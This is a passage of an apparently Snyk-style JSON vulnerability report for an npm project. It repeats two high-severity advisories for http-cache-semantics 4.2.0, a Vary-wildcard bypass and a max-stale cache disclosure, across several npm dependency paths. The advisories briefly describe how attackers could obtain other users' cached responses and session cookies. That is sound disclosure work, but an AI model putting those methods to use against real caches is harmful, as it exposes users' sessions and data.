"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpublish@10.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
